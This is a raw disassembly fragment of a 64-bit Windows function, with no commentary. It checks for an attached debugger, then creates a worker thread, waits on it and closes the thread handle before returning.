call fcn.140053460
test al, al
jne 0x14005e920
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
neg eax
sbb edi, edi
neg edi
add edi, 3
jmp 0x14005e9ac
test bpl, bpl
je 0x14005e983
mov qword [rsp + 0x28], rdi
lea r9, [rsp + 0x30]
lea r8, [0x14005ecec]
mov dword [rsp + 0x20], edi
xor edx, edx
mov qword [rsp + 0x30], r14
xor ecx, ecx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x44], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14005e9ac
xor r8d, r8d
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov rcx, rbx
test eax, eax
je 0x14005e97d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14005e9ac
mov edi, dword [rsp + 0x44]
jmp 0x14005e975
call fcn.1400535ac
test al, al
jne 0x14005e994
bts esi, 0x15
xor ecx, ecx
jmp 0x14005e99c
call fcn.14005351c
mov rcx, rax
mov r9d, esi
mov r8, r14
mov rdx, rbx
call fcn.140053298
mov edi, eax
mov rbx, qword [rsp + 0x60]
mov eax, edi
mov rdi, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop r14
ret